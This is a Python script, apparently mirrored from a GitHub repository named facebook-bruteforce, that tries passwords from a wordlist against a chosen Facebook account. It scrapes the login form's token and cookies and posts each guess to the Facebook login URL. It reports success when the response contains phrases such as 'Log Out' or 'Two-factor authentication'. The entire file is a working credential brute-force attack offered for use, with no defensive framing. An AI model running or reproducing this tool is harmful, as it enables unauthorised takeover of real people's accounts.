Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
iamblackhacker
GitHub Repository: iamblackhacker/facebook-bruteforce
Path: blob/master/fb.py
1175 views
1
import os.path
2
import requests
3
from bs4 import BeautifulSoup
4
import sys
5
6
if sys.version_info[0] != 3:
7
print('''\t--------------------------------------\n\t\tREQUIRED PYTHON 3.x\n\t\tinstall and try: python3
8
fb.py\n\t--------------------------------------''')
9
sys.exit()
10
11
PASSWORD_FILE = "passwords.txt"
12
MIN_PASSWORD_LENGTH = 6
13
POST_URL = 'https://www.facebook.com/login.php'
14
HEADERS = {
15
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
16
}
17
PAYLOAD = {}
18
COOKIES = {}
19
20
21
def create_form():
22
form = dict()
23
cookies = {'fr': '0ZvhC3YwYm63ZZat1..Ba0Ipu.Io.AAA.0.0.Ba0Ipu.AWUPqDLy'}
24
25
data = requests.get(POST_URL, headers=HEADERS)
26
for i in data.cookies:
27
cookies[i.name] = i.value
28
data = BeautifulSoup(data.text, 'html.parser').form
29
if data.input['name'] == 'lsd':
30
form['lsd'] = data.input['value']
31
return form, cookies
32
33
34
def is_this_a_password(email, index, password):
35
global PAYLOAD, COOKIES
36
if index % 10 == 0:
37
PAYLOAD, COOKIES = create_form()
38
PAYLOAD['email'] = email
39
PAYLOAD['pass'] = password
40
r = requests.post(POST_URL, data=PAYLOAD, cookies=COOKIES, headers=HEADERS)
41
if 'Find Friends' in r.text or 'security code' in r.text or 'Two-factor authentication' in r.text or "Log Out" in r.text:
42
open('temp', 'w').write(str(r.content))
43
print('\npassword found is: ', password)
44
return True
45
return False
46
47
48
if __name__ == "__main__":
49
print('\n---------- Welcome To Facebook BruteForce ----------\n')
50
if not os.path.isfile(PASSWORD_FILE):
51
print("Password file is not exist: ", PASSWORD_FILE)
52
sys.exit(0)
53
password_data = open(PASSWORD_FILE, 'r').read().split("\n")
54
print("Password file selected: ", PASSWORD_FILE)
55
email = input('Enter Email/Username to target: ').strip()
56
for index, password in zip(range(password_data.__len__()), password_data):
57
password = password.strip()
58
if len(password) < MIN_PASSWORD_LENGTH:
59
continue
60
print("Trying password [", index, "]: ", password)
61
if is_this_a_password(email, index, password):
62
break
63
64